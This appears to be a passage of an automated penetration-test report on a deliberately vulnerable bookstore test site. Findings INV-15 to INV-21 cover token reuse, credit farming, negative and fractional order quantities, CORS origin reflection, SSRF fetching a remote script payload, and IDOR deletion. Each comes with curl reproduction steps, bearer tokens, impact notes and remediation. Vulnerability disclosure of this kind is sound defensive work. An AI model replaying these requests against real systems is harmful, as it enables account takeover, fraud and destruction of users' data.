Content-Length: 60

{"status":"success","message":"password reset successfully"}
```

STEPS TO REPRODUCE

1. Send a POST request to reset the password using the already-used token:

   ```
   curl -s -i -X POST "https://marginalia.testinvicti.com/api/auth/reset/confirm" \
     -H "Content-Type: application/json" \
     -d '{"password":"Third123!","token":"f6722d2662b4d5e7ee2eee1e"}'
   ```

   The server responds with `200 OK` and `{"status":"success","message":"password reset successfully"}`, confirming the token still works after prior use.

2. Send a control request with a random invalid token to confirm the server does validate tokens:

   ```
   curl -s -i -X POST "https://marginalia.testinvicti.com/api/auth/reset/confirm" \
     -H "Content-Type: application/json" \
     -d '{"password":"Test123!","token":"00000000000000000000000"}'
   ```

   The server responds with `400 Bad Request` and `{"detail":"invalid or expired token"}`. This proves the server checks token validity but never invalidates a token after successful use.

SEVERITY JUSTIFICATION

The vulnerability allows indefinite password resets with a single captured token, enabling persistent account takeover. Attack complexity is low and requires no privileges or user interaction, though it depends on obtaining a valid token first (AT:P). Confidentiality and integrity impact on the vulnerable system are high because the attacker gains full account access.

DISCOVERY & EXPLOITATION

The vulnerability exists because the `/api/auth/reset/confirm` endpoint validates a reset token against two conditions only: existence in the database and expiration timestamp. No consumed or invalidated state is recorded after a successful reset. The token remains valid indefinitely, meaning a second POST with the identical token value produces the same `{"status":"success","message":"password reset successfully"}` response as the first. Active replay during testing confirmed this: token `f6722d2662b4d5e7ee2eee1e`, already exercised in a prior reset, was accepted again with HTTP 200, while a randomly generated invalid token was correctly rejected with HTTP 400 and `{"detail":"invalid or expired token"}`. The differential response proves the server's token lifecycle logic terminates at expiration checking and never advances to invalidation.

This vulnerability is directly weaponized through the token disclosure path documented in INV-40, where reset tokens are leaked via SSRF. An attacker who captures a token through that channel retains a

permanent credential to reset the victim's password at any chosen moment, without requiring any further interaction from the victim or re-exploitation of the disclosure vector.

IMPACT

An attacker who captures a password reset token can reset the victim's password repeatedly. The attacker can lock the legitimate user out at will. Combined with the token disclosure via SSRF, this grants persistent account takeover without any user interaction. The attacker can change the password, log in, and access all account data including orders, lists, and annotations.

REMEDIATION

1. Invalidate the password reset token immediately after a successful password reset by deleting or marking it as used in the database.
2. Add a short expiration window (e.g., 15 minutes) to all reset tokens so stale tokens cannot be reused.
3. Ensure the `/api/auth/reset/confirm` endpoint returns an error such as `"token already used"` when a consumed token is submitted.
4. Log all password reset attempts and alert on repeated use of the same token.
5. Adopt a framework-level token management library that enforces single-use semantics for all one-time credentials.

INV-16

Credit Generation via Mark Read on Non-Existent Books

HIGH

SEVERITY	CATEGORY	CWE
High	Insecure Design	CWE-840

ENDPOINT

`https://marginalia.testinvicti.com/api/books/99999/read`

PARAMETER

`book_id:read-reward-nonexistent-book`

CVSS 4.0

7.1 `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N`

VULNERABILITY DESCRIPTION

The POST /api/books/{book_id}/read endpoint awards a 50-credit reading reward for any book_id value, including IDs that do not correspond to real books. The server does not verify that the book_id references an existing book before granting the reward. A GET request to /api/books/77777 returns 404 with {"detail":"not found"}, yet POST /api/books/77777/read returns 200 with {"reward":50}. The only guard is a per-ID deduplication check that prevents the same book_id from awarding credits twice. An attacker can iterate over arbitrary integer IDs to accumulate unlimited credits.

EVIDENCE

Payload used:

```
POST /api/books/99999/read
```

Observed:

```
POST /api/books/99999/read returns {"book_id":99999,"reward":50,"credits":350}. Marking a non-existent book as read grants 50 credits. Any arbitrary book_id (including non-existent ones) awards the reading reward. An attacker can generate unlimited credits by marking non-existent book IDs as read (50 credits per unique ID). With book IDs 1 through 99999, that's 4,999,950 credits.
```

HTTP TRANSACTION

REQUEST

```
POST /api/books/88888/read HTTP/1.1
Host: marginalia.testinvicti.com
Accept: */*
Authorization: Bearer eyJhbGci...SNVc
Content-Length: 0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
```

RESPONSE

```
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2026 23:52:44 GMT
Content-Type: application/json
Content-Length: 42

{"book_id":88888,"reward":50,"credits":50}
```

STEPS TO REPRODUCE

1. Authenticate as any member and obtain a valid JWT Bearer token.
2. Verify that book ID 99999 does not exist:

   ```
   curl -s https://marginalia.testinvicti.com/api/books/99999
   ```

   The server responds with 404 and `{"detail":"not found"}`.
3. Mark the non-existent book as read:

   ```
   curl -s -X POST https://marginalia.testinvicti.com/api/books/99999/read -H
   'Authorization: Bearer <YOUR_JWT_TOKEN>'
   ```

   The server responds with 200 and `{"book_id":99999,"reward":50,"credits":<increased_total>}`. The credit balance increases by 50.
4. Repeat with a different non-existent book ID to confirm credits accumulate:

   ```
   curl -s -X POST https://marginalia.testinvicti.com/api/books/99998/read -H
   'Authorization: Bearer <YOUR_JWT_TOKEN>'
   ```

   The server responds with 200 and the credit balance increases by another 50.

SEVERITY JUSTIFICATION

The vulnerability requires only low-privilege authentication (PR:L) and allows unlimited integrity impact (VI:H) on the credit system. No confidentiality or availability impact exists. The attack is trivially automatable with no complexity or user interaction required.

DISCOVERY & EXPLOITATION

The vulnerability exists because the `POST /api/books/{book_id}/read` endpoint awards credits based solely on the uniqueness of the submitted `book_id` integer, without first verifying that the ID corresponds to a real, published book in the database. The reward logic is decoupled from the book existence check: a `GET /api/books/77777` returns a 404, confirming no such record exists, yet the write path at `POST /api/books/77777/read` executes the credit grant unconditionally. The only server-side guard is a per-ID deduplication check, which prevents the same `book_id` from awarding credits a second time but does nothing to constrain the space of valid IDs an attacker can submit.

An authenticated attacker exploits this by iterating over the integer ID space with automated requests. Because the deduplication check is per-ID rather than per-user-per-time-period, each new integer yields a

fresh 50-credit reward. A loop across 100,000 IDs accumulates 5,000,000 credits with no rate limiting or anomaly detection to interrupt the process. This distinguishes the attack from the sibling wallet race condition (INV-5) and coupon reuse (INV-48) vulnerabilities: those require exploiting timing windows or policy gaps in existing features, whereas this vulnerability provides an unbounded, deterministic credit source requiring only sequential integer enumeration.

IMPACT

An attacker can generate unlimited in-app credits by sending POST requests with sequential non-existent book IDs. Each unique ID awards 50 credits. With a simple loop from 1 to 100,000, an attacker gains 5,000,000 credits. This undermines the application's economy and any features gated by credit balance, such as purchases or premium content.

REMEDIATION

1. Validate that the `book_id` references an existing, published book before awarding any credit reward. Return 404 for non-existent IDs.
2. Add a server-side check that the user has not already been rewarded for this book, and enforce a maximum reward cap per user per time period.
3. Implement rate limiting on the `/api/books/{book_id}/read` endpoint to prevent automated enumeration.
4. Log reward events and alert on anomalous credit accumulation patterns.
5. Add integration tests that verify non-existent book IDs return an error and do not modify the credit balance.

INV-17

Negative Quantity Accepted in Order Creation

HIGH

SEVERITY	CATEGORY	CWE
High	Insecure Design	CWE-840

ENDPOINT

`https://marginalia.testinvicti.com/api/orders`

PARAMETER	CVSS 4.0
quantity	7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The POST /api/orders endpoint accepts negative values in the `quantity` field. The server multiplies the book price by the quantity without validating that the quantity is a positive integer. A request with `{"book_id":1,"quantity":-1}` produces an order with `total_cents: -1499` and `status: "paid"`. The negative total represents a credit rather than a charge. An attacker can repeat this request to accumulate arbitrary negative-value orders.

EVIDENCE

Payload used:

```
-1
```

Observed:

```
POST /api/orders with {"book_id":1,"quantity":-1} returns
{"id":9,"total_cents":-1499,"status":"paid"}. Negative quantity results in negative
total, potentially crediting the user's account instead of charging them.
```

HTTP TRANSACTION

REQUEST

```
POST /api/orders HTTP/1.1
Host: marginalia.testinvicti.com
Authorization: Bearer
eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAyMDcwLCAicm9sZSI6ICJtZW1iZXIiLCAiaWF
0IjogMTc5MzY1NjkwMCwgImV4cCI6IDE4OTM3NDMzMDB9.
Content-Type: application/json
Content-Length: 27

{"book_id":1,"quantity":-1}
```

RESPONSE

```
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2026 22:19:03 GMT
Content-Type: application/json
```

```
Content-Length: 45

{"id":16,"total_cents":-1499,"status":"paid"}
```

STEPS TO REPRODUCE

1. Authenticate as any user with a valid JWT Bearer token. Send a POST request with a negative quantity:

   ```
   curl -X POST https://marginalia.testinvicti.com/api/orders \
     -H "Authorization: Bearer <your-jwt-token>" \
     -H "Content-Type: application/json" \
     -d '{"book_id":1,"quantity":-1}'
   ```

   The server responds with HTTP 200 and a JSON body containing `"total_cents":-1499` and `"status":"paid"`, confirming the order was created with a negative total.

2. Send a control request with a positive quantity to confirm normal behavior:

   ```
   curl -X POST https://marginalia.testinvicti.com/api/orders \
     -H "Authorization: Bearer <your-jwt-token>" \
     -H "Content-Type: application/json" \
     -d '{"book_id":1,"quantity":1}'
   ```

   The server responds with HTTP 200 and a JSON body containing `"total_cents":1499` and `"status":"paid"`. Compare the two responses to confirm the negative quantity produces a negative total.

SEVERITY JUSTIFICATION

The vulnerability requires only low-privilege authentication (PR:L) and no user interaction. It directly compromises financial integrity (VI:H) by allowing arbitrary negative-value orders. The attack is network-accessible, low-complexity, and repeatable, justifying high severity.

DISCOVERY & EXPLOITATION

The `quantity` field in the order creation endpoint is passed directly into a multiplication operation against the book's unit price with no sign validation. Because the server treats quantity as an unrestricted integer, a value of `-1` produces a mathematically valid result: `total_cents = price * quantity = 1499 * -1 = -1499`. The order pipeline then interprets this negative total as a credit rather than a charge and immediately sets `status: "paid"`, bypassing any payment step entirely.

Where the sibling vulnerability INV-49 required a zero-value quantity to obtain a free order, this variant actively generates a credit balance. An authenticated attacker submits repeated orders with `quantity: -N`, scaling the credit accumulation proportionally with each request. There is no rate limiting, approval gate, or total-cents floor check to interrupt the loop, meaning the financial exposure grows unbounded for as long as the attacker continues issuing requests.

IMPACT

An attacker with any authenticated account can create orders with negative totals. This credits the account instead of charging it, causing direct financial loss. Repeated exploitation scales the loss without limit. The order is immediately marked as "paid", so no secondary approval blocks the abuse.

REMEDIATION

1. Validate the `quantity` parameter on the server side to reject values less than 1. Use a constraint such as `quantity: int = Field(gt=0)` in the Pydantic model for the order creation request.
2. Add a server-side check that `total_cents` is positive before persisting the order and setting its status to `paid`.
3. Review existing orders for negative `total_cents` values and reverse any fraudulent credits.
4. Add integration tests that submit zero, negative, and excessively large quantities and assert rejection with HTTP 422.
5. Enforce input validation at the API gateway or schema layer to prevent business logic bypass across all endpoints.

INV-18

Mass Assignment in quantity Parameter via Fractional Truncation

HIGH

SEVERITY	CATEGORY	CWE
High	Insecure Design	CWE-840

ENDPOINT

`https://marginalia.testinvicti.com/api/orders`

PARAMETER

`quantity:fractional-truncation-free-order`

CVSS 4.0

7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The POST /api/orders endpoint accepts fractional values for the quantity field. The server truncates fractional quantities to an integer using floor or int() conversion before computing the order total. A quantity of 0.99 becomes 0, and the total is computed as 0 multiplied by the unit price, resulting in total_cents=0. The server then marks the order as "paid" with no charge. The API does not validate that quantity is a positive integer before processing. This also extends to quantity=0 (accepted directly) and negative values such as -1, which produce negative totals.

EVIDENCE

Payload used:

```
{"book_id": 1, "quantity": 0.99}
```

Observed:

```
POST /api/orders with {"book_id":1,"quantity":0.99} returns
{"id":70,"total_cents":0,"status":"paid"}. The fractional quantity 0.99 is truncated to
integer 0, resulting in total_cents=0. Order detail confirms quantity=0,
unit_price_cents=1499, total_cents=0, status=paid. The server truncates fractional
quantities to int before computing total, allowing any sub-1 fraction to produce a free
order.
```

HTTP TRANSACTION

REQUEST

```
POST /api/orders HTTP/1.1
Host: marginalia.testinvicti.com
Content-Type: application/json
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjIyOTEsInJvbGUiOiJtZW1iZXIiLCJpYXQiOjE3OT
M2NjI1ODMsImV4cCI6MTc5Mzc0ODk4M30.nKQGHr5g5NOITCLAu29jvcvuLe-jIdjENSKp5pNAeXc

{"book_id":1,"quantity":0.99}
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 41

{"id":87,"total_cents":0,"status":"paid"}
```

STEPS TO REPRODUCE

1. Register a new account to obtain a JWT token:

   ```
   curl -s -X POST https://marginalia.testinvicti.com/api/auth/register \
     -H "Content-Type: application/json" \
     -d
   '{"username":"testuser_repro","email":"testuser_repro@test.com","password":"TestPass
   123!"}'
   ```

   The server returns a JSON object containing an `id` and `token` field. Save the token value.

2. Send a POST request to create an order with a fractional quantity:

   ```
   curl -s -X POST https://marginalia.testinvicti.com/api/orders \
     -H "Content-Type: application/json" \
     -H "Authorization: Bearer <TOKEN>" \
     -d '{"book_id":1,"quantity":0.99}'
   ```

   The server responds with `{"id":<N>,"total_cents":0,"status":"paid"}`. The order is created with zero cost.

3. Send a control request with integer quantity 1:

   ```
   curl -s -X POST https://marginalia.testinvicti.com/api/orders \
     -H "Content-Type: application/json" \
     -H "Authorization: Bearer <TOKEN>" \
     -d '{"book_id":1,"quantity":1}'
   ```

   The server responds with `{"id":<N>,"total_cents":1499,"status":"paid"}`. The full price is charged.

4. Retrieve the order detail to confirm the truncation:

   ```
   curl -s https://marginalia.testinvicti.com/api/orders/<ORDER_ID> \
     -H "Authorization: Bearer <TOKEN>"
   ```

   The response shows `quantity` is 0, `unit_price_cents` is 1499, and `total_cents` is 0. The fractional value 0.99 was truncated to integer 0.

SEVERITY JUSTIFICATION

The vulnerability requires only low-privilege authentication (any registered user) and no user interaction. It directly compromises financial integrity by allowing zero-cost orders. The CVSS vector reflects high integrity impact on the vulnerable system with network attack vector and low complexity. This warrants high severity due to direct financial loss.

DISCOVERY & EXPLOITATION

The vulnerability arises from a type-coercion flaw in the order processing pipeline: the server accepts the `quantity` field as a floating-point value and converts it to an integer using floor or `int()` truncation before computing the order total. Because `total_cents` is derived from `quantity * unit_price` after truncation, any fractional value in the range (0, 1) collapses to a quantity of zero, producing a total of zero cents. The server then marks the resulting order as `paid` without any charge. This is distinct from the sibling vulnerability INV-49, which exploits direct submission of `quantity=0`; here the bypass is achieved through numeric type coercion, meaning input validation that rejects the literal value `0` would still be bypassed by submitting `0.99`. The same coercion path also accepts negative values such as `-1`, which produce negative totals and introduce a separate accounting corruption vector.

Any authenticated user can exploit this by submitting a fractional quantity below 1.0 to `POST /api/orders`. The server's own arithmetic does the work, requiring no special tooling or elevated privileges. The attack is silent and leaves a legitimate-looking order record marked as paid, making detection through order status alone ineffective.

IMPACT

An attacker can create orders with zero cost by submitting any fractional quantity below 1.0. The server records these orders as "paid" and fulfilled. This causes direct financial loss because goods are ordered without payment. Negative quantities produce negative totals, which could further corrupt accounting records or enable refund fraud.

REMEDIATION

1. Validate the `quantity` parameter as a strictly positive integer on the server side. Reject requests where `quantity` is not an integer or is less than 1.
2. Return HTTP 422 with a descriptive error when `quantity` fails validation, before any order record is created.
3. Add a server-side check that `total_cents` is greater than zero before marking an order as `paid`.
4. Review all numeric input fields across the API for similar truncation or type-coercion issues.
5. Implement schema validation using Pydantic `Field(gt=0, strict=True)` with `int` type annotation to enforce positive integers at the framework level.

INV-19

CORS Misconfiguration in Origin Header

HIGH

SEVERITY	CATEGORY	CWE
High	Security Misconfiguration	CWE-942

ENDPOINT

`https://marginalia.testinvicti.com/api/books`

PARAMETER	CVSS 4.0
Origin	7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The server reflects any value supplied in the Origin request header into the access-control-allow-origin response header while also setting access-control-allow-credentials to true. This combination allows any external website to make credentialed cross-origin requests to the API and read the responses. The misconfiguration applies globally across all API endpoints, including authenticated ones such as /api/shelf. When no Origin header is sent, the server omits CORS headers entirely, which confirms the reflection is intentional middleware behavior rather than a wildcard default. The allowed methods include GET, POST, PATCH, and DELETE, so both read and write operations are exposed. The application uses mgl_session cookies with SameSite=lax, which browsers send on top-level navigations and same-site requests. An attacker-controlled page can use fetch or XMLHttpRequest to read authenticated API responses containing user data.

EVIDENCE

Payload used:

```
https://evil.example.com
```

Observed:

```
Response headers: access-control-allow-origin: https://evil.example.com, access-control-allow-credentials: true. The server reflects any Origin header value while allowing credentials.
```

HTTP TRANSACTION

REQUEST

```
GET /api/books HTTP/1.1
Host: marginalia.testinvicti.com
Accept: */*
Origin: https://evil.example.com
Cookie: mgl_session=0c2990bdfae142168c9f7d4c9fdbca3d
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 1742
access-control-allow-origin: https://evil.example.com
access-control-allow-credentials: true
access-control-allow-headers: Authorization, Content-Type
access-control-allow-methods: GET, POST, PATCH, DELETE, OPTIONS
vary: Origin

{"books":[{"id":9,"title":"The Blind Owl","author":"Sadegh Hedayat",...}]}
[... truncated ...]
```

STEPS TO REPRODUCE

1. Send a GET request to the books endpoint with an attacker-controlled Origin header:

   ```
   curl -s -D- "https://marginalia.testinvicti.com/api/books" -H "Origin:
   https://evil.example.com"
   ```

   The response includes `access-control-allow-origin: https://evil.example.com` and `access-control-allow-credentials: true`, confirming the server reflects the arbitrary origin with credentials enabled.

2. Send the same request with a different arbitrary origin to confirm the server reflects any value:

   ```
   curl -s -D- "https://marginalia.testinvicti.com/api/books" -H "Origin:
   https://attacker-controlled.net"
   ```

   The response reflects `access-control-allow-origin: https://attacker-controlled.net` with `access-control-allow-credentials: true`.

3. Send a request with `Origin: null` to verify the null origin is also accepted:

   ```
   curl -s -D- "https://marginalia.testinvicti.com/api/books" -H "Origin: null"
   ```

   The response reflects `access-control-allow-origin: null` with `access-control-allow-credentials: true`.

SEVERITY JUSTIFICATION

The attack requires a victim to visit an attacker-controlled page (UI:P), but no privileges or special conditions are needed beyond that. The attacker gains full read access to authenticated API responses (VC:H) and can invoke state-changing methods (VI:L). The combination of arbitrary origin reflection with credentials enabled makes exploitation straightforward.

DISCOVERY & EXPLOITATION

The CORS middleware reflects the incoming `Origin` request header value directly into the `access-control-allow-origin` response header without validating it against any allowlist. The critical flaw is the simultaneous presence of this arbitrary reflection and `access-control-allow-credentials: true`:

browsers enforce the same-origin policy for credentialed cross-origin requests only when the `access-control-allow-origin` value is a trusted, explicitly configured origin. By reflecting whatever origin the client supplies, the server effectively grants every origin on the internet the same trust level as the application's own domain. Validation confirmed this is active middleware behavior rather than a static wildcard, as requests sent without an `Origin` header receive no CORS headers at all. The misconfiguration applies globally, including authenticated endpoints such as `/api/shelf`, `/api/orders`, and `/api/users/me`, and permits GET, POST, PATCH, and DELETE methods.

An attacker hosts a page on any domain and uses `fetch()` with `credentials: 'include'` to issue requests to the API on behalf of any authenticated visitor who loads that page. Because the browser sends the victim's `mgl_session` cookie with each request and the server returns the attacker-controlled origin in `access-control-allow-origin`, the browser permits the attacker's JavaScript to read the full response body. The attacker can silently harvest session data, personal information, order history, and wallet balances, and can invoke state-changing operations, all without any interaction beyond the victim loading a single page.

IMPACT

An attacker can host a malicious page that makes credentialed requests to the API on behalf of any visitor who is logged in. The attacker can read private data from endpoints such as /api/shelf, /api/orders, and /api/users/me. The attacker can also invoke state-changing operations (POST, PATCH, DELETE) and read their responses. This enables theft of personal information, order history, and wallet balances, and allows unauthorized modifications to user accounts.

REMEDIATION

1. Replace the origin-reflection logic with an explicit allowlist of trusted origins. Compare the incoming `Origin` header against the list and only echo it back when it matches.
2. Remove `access-control-allow-credentials: true` for any origin not on the allowlist. Never combine credential support with a reflected or wildcard origin.
3. Restrict `access-control-allow-methods` to only the methods each endpoint requires. Do not expose DELETE or PATCH globally.
4. Reject the `null` origin explicitly; never add it to the allowlist.
5. Add automated CI tests that send requests with untrusted Origin values and assert the server does not reflect them.

INV-20

Server-Side Request Forgery in host Parameter

HIGH

SEVERITY	CATEGORY	CWE
High	Server-Side Request Forgery	CWE-918

ENDPOINT

`https://marginalia.testinvicti.com/api/admin/diagnostics`

PARAMETER	CVSS 4.0
host	6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N

VULNERABILITY DESCRIPTION

The /api/admin/diagnostics endpoint accepts a user-supplied URL in the host parameter and fetches it from the server side. The server returns the remote resource's HTTP status, content type, size, and full body content in a JSON response. The endpoint requires no authentication. The server blocks requests to private and loopback addresses but allows requests to any public URL. The scanner filed this as Cross-site Scripting via Remote File Inclusion because the fetched body can contain script tags. However, the response uses Content-Type application/json, so the browser does not execute embedded scripts when the API response is loaded directly.

EVIDENCE

Observed:

```
Scanner details:


URL encoded GET input <strong><span class="bb-dark">host</span></strong> was set to
<strong><span class="bb-dark">HttP://bxss.me/t/xss.html?%00</span></strong><br/>
```

HTTP TRANSACTION

REQUEST

```
GET /api/admin/diagnostics?host=HttP://bxss.me/t/xss.html%3f%2500 HTTP/1.1
Accept: application/json;q=0.9, application/xml;q=0.8, */*;q=0.1
Host: marginalia.testinvicti.com
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 170

{"host":"HttP://bxss.me/t/xss.html?
%00","reachable":true,"status_code":200,"content_type":"text/html","location":"","bytes
":33,"body":"<script>prompt(98589956)</script>"}
```

STEPS TO REPRODUCE

1. Send a GET request to the diagnostics endpoint with an attacker-controlled URL in the host parameter:

   ```
   curl -s "https://marginalia.testinvicti.com/api/admin/diagnostics?
   host=http://example.com" -H "Accept: application/json"
   ```

   The server fetches http://example.com and returns its full HTML body in the JSON response, confirming the server-side request forgery.

2. Send a request with a URL that hosts a script tag to verify content inclusion:

   ```
   curl -s "https://marginalia.testinvicti.com/api/admin/diagnostics?
   host=HttP://bxss.me/t/xss.html%3f%2500" -H "Accept: application/json"
   ```

   The server returns a JSON object with a `body` field containing `<script>prompt(98589956)</script>`, confirming that arbitrary remote content including script tags is included in the response.

3. Verify that the response Content-Type is application/json and the script does not execute by opening the URL directly in a browser. The browser renders the JSON as text and does not execute the embedded script tag.

SEVERITY JUSTIFICATION

The endpoint requires no authentication and allows unauthenticated attackers to make the server fetch arbitrary public URLs. The CVSS vector reflects network access with no privileges required and no user interaction. Confidentiality impact on the vulnerable system is low because internal addresses are blocked. Subsequent system confidentiality is low because the server can reach external services that trust its IP. The severity is high because the open proxy capability enables abuse of the server's network identity.

DISCOVERY & EXPLOITATION

The `/api/admin/diagnostics` endpoint accepts an arbitrary URL in the `host` parameter and issues a server-side HTTP request to that URL, returning the remote resource's status code, content type, size, and full response body in a JSON envelope. No authentication is required to invoke the endpoint. The vulnerability exists because the application performs no allowlist validation on the supplied URL before dispatching the request; the only restriction is a blocklist against private and loopback address ranges, which an attacker can trivially sidestep by targeting public infrastructure. Validation confirmed the server retrieved full response bodies from `bxss.me` and `example.com`, demonstrating unrestricted outbound proxy capability. The scanner's original classification as Cross-Site Scripting via Remote File Inclusion is not directly exploitable: the response carries `Content-Type: application/json`, so browsers will not execute script tags embedded in the returned body when the API response is loaded directly. However, if any frontend component renders the `body` field as HTML, attacker-controlled markup in the fetched resource would execute in the user's browser context.

An unauthenticated attacker exploits this endpoint by supplying URLs pointing to services that enforce IP-based access controls, effectively borrowing the server's network identity to bypass those controls and read

responses that would otherwise be denied. Beyond data exfiltration from IP-trusted third-party services, the open proxy capability can be abused to launder malicious outbound traffic through the application's IP address, implicating the organization in abuse reports or triggering blocklisting of its egress addresses. The absence of rate limiting compounds this risk by allowing the endpoint to be used at scale.

IMPACT

An attacker can use the server as a proxy to send HTTP requests to arbitrary public hosts. The server's IP address originates these requests, which can bypass IP-based access controls on third-party services. The full response body is returned, so the attacker can read content from services that trust the server's IP. If any frontend JavaScript renders the body field as HTML, the attacker-controlled script content would execute in users' browsers. The endpoint requires no authentication, so any network-reachable client can exploit it.

REMEDIATION

1. Restrict the `host` parameter to an allowlist of expected diagnostic targets instead of accepting arbitrary URLs.
2. Require authentication and authorization on the `/api/admin/diagnostics` endpoint to limit access to administrators.
3. Sanitize the `body` field in the JSON response by stripping or encoding HTML tags before returning it to clients.
4. Add rate limiting to the endpoint to prevent abuse as an open proxy.
5. Adopt a server-side HTTP client wrapper that enforces URL allowlists and blocks unexpected schemes such as `file://`, `gopher://`, and `ftp://`.

INV-21

IDOR in annotation_id via DELETE

HIGH

SEVERITY	CATEGORY	CWE
High	Broken Access Control	CWE-639

ENDPOINT

`https://marginalia.testinvicti.com/api/annotations/18`

PARAMETER	CVSS 4.0
annotation_id	7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The DELETE /api/annotations/{annotation_id} endpoint enforces authentication but does not verify that the authenticated user owns the target annotation. Any authenticated member can delete another user's private annotation by supplying its numeric identifier. The server extracts the user identity from the JWT but never compares it against the annotation's owner before executing the deletion. An independent replay confirmed that User A (id=2132) deleted an annotation owned by User B (id=2131, visibility=private). The server returned {"status":"deleted","id":23} and the annotation became inaccessible (404). Unauthenticated requests correctly receive a 401 response, which shows that the authorization gap is limited to the ownership check.

EVIDENCE

Payload used:

```
18
```

Observed:

```
User A (id=2112, role=member) successfully deleted annotation 18 owned by User B
(id=2115, visibility=private) by sending DELETE /api/annotations/18 with User A's JWT.
Response: {"status":"deleted","id":18}. The annotation was confirmed owned by
user_id=2115 before deletion and returned 404 after. Unauthenticated DELETE returns
401, proving authentication is enforced but ownership is not checked.
```

HTTP TRANSACTION

REQUEST

```
DELETE /api/annotations/18 HTTP/1.1
Host: marginalia.testinvicti.com
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjIxMTIsInJvbGUiOiJtZW1iZXIiLCJpYXQiOjE3OT
M2NTgyNDIsImV4cCI6MTc5Mzc0NDY0Mn0.ODA9RHGAKoiXFu7I2CVdl9qxciUS9Ys9cnSPKW10Qm0
Cookie: mgl_session=0c2990bdfae142168c9f7d4c9fdbca3d
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 28

{"status":"deleted","id":18}
```

STEPS TO REPRODUCE

1. Register User A (the attacker):

   ```
   curl -X POST https://marginalia.testinvicti.com/api/auth/register \
     -H 'Content-Type: application/json' \
     -d '{"username":"attacker","email":"attacker@test.com","password":"Pass1234!"}'
   ```

   The server returns a user object with an `id` and `token`.

2. Register User B (the victim) and log in to obtain a JWT:

   ```
   curl -X POST https://marginalia.testinvicti.com/api/auth/register \
     -H 'Content-Type: application/json' \
     -d '{"username":"victim","email":"victim@test.com","password":"Pass1234!"}'
   ```

   Log in as User B:

   ```
   curl -X POST https://marginalia.testinvicti.com/api/auth/login \
     -H 'Content-Type: application/json' \
     -d '{"email":"victim@test.com","password":"Pass1234!"}'
   ```

   Save the `access_token` from the response as `TOKEN_B`.

3. As User B, create a private annotation on a book:

   ```
   curl -X POST https://marginalia.testinvicti.com/api/books/1/annotations \
     -H 'Content-Type: application/json' \
     -H 'Authorization: Bearer TOKEN_B' \
     -d '{"text":"victim annotation","page":3}'
   ```

   The server returns `{"id":23,"status":"annotated"}`. Note the annotation `id`.

4. Log in as User A and send a DELETE request for User B's annotation:

   ```
   curl -X POST https://marginalia.testinvicti.com/api/auth/login \
     -H 'Content-Type: application/json' \
     -d '{"email":"attacker@test.com","password":"Pass1234!"}'
   ```

   Save the `access_token` as `TOKEN_A`, then delete the victim's annotation:

   ```
   curl -X DELETE https://marginalia.testinvicti.com/api/annotations/23 \
     -H 'Authorization: Bearer TOKEN_A'
   ```

The server responds with HTTP 200 and `{"status":"deleted","id":23}`, confirming the cross-user deletion.

5. Verify the annotation no longer exists by fetching it as User B:

```
curl https://marginalia.testinvicti.com/api/annotations/23 \
  -H 'Authorization: Bearer TOKEN_B'
```

The server responds with HTTP 404 and `{"detail":"not found"}`. An unauthenticated DELETE returns 401, proving authentication is enforced but ownership is not.

SEVERITY JUSTIFICATION

The vulnerability requires only low privileges (any authenticated member) and no user interaction. It allows arbitrary deletion of other users' private data, which represents a high integrity impact. Confidentiality and availability impacts are not directly demonstrated. The CVSS 4.0 vector scores this as high severity, consistent with the destructive cross-user write operation.

DISCOVERY & EXPLOITATION

The DELETE `/api/annotations/{annotation_id}` endpoint is vulnerable because the server resolves the target annotation solely from the URL path parameter, extracts the caller's identity from the JWT, and executes the deletion without ever comparing the annotation's stored `user_id` against the authenticated requester's `sub` claim. Authentication is enforced correctly — unauthenticated requests receive a 401 — but the ownership check is entirely absent, making this a pure object-level authorization failure rather than an authentication bypass.

What distinguishes this endpoint from sibling annotation vulnerabilities (INV-22, INV-23) is the irreversibility of the operation. Where read-access IDOR exposes data, a DELETE IDOR permanently destroys it. An authenticated attacker enumerates sequential annotation identifiers and issues DELETE requests against each, systematically wiping annotations belonging to other users. The validation replay confirmed this precisely: User A (id=2132), using only their own valid JWT, deleted a private annotation owned by User B (id=2131), receiving a `{"status":"deleted","id":18}` response with HTTP 200. The annotation was subsequently unreachable at 404, with no recovery path available.

IMPACT

Any authenticated user can permanently destroy another user's private annotations. This leads to data loss that the victim cannot reverse. An attacker can enumerate annotation identifiers and delete all annotations across the platform. The attack compromises data integrity and user trust in the application's privacy controls.

REMEDIATION

1. Add an ownership check in the DELETE /api/annotations/{annotation_id} handler: load the annotation, compare its `user_id` against the authenticated user's `sub` claim, and return 403 if they differ.

2. Apply the same ownership check to all mutation endpoints (PUT, PATCH, DELETE) on user-owned resources such as annotations, lists, and orders.
3. Write integration tests that attempt cross-user deletion and assert a 403 response.
4. Return identical error responses (404) for both missing and unauthorized resources to prevent identifier enumeration.
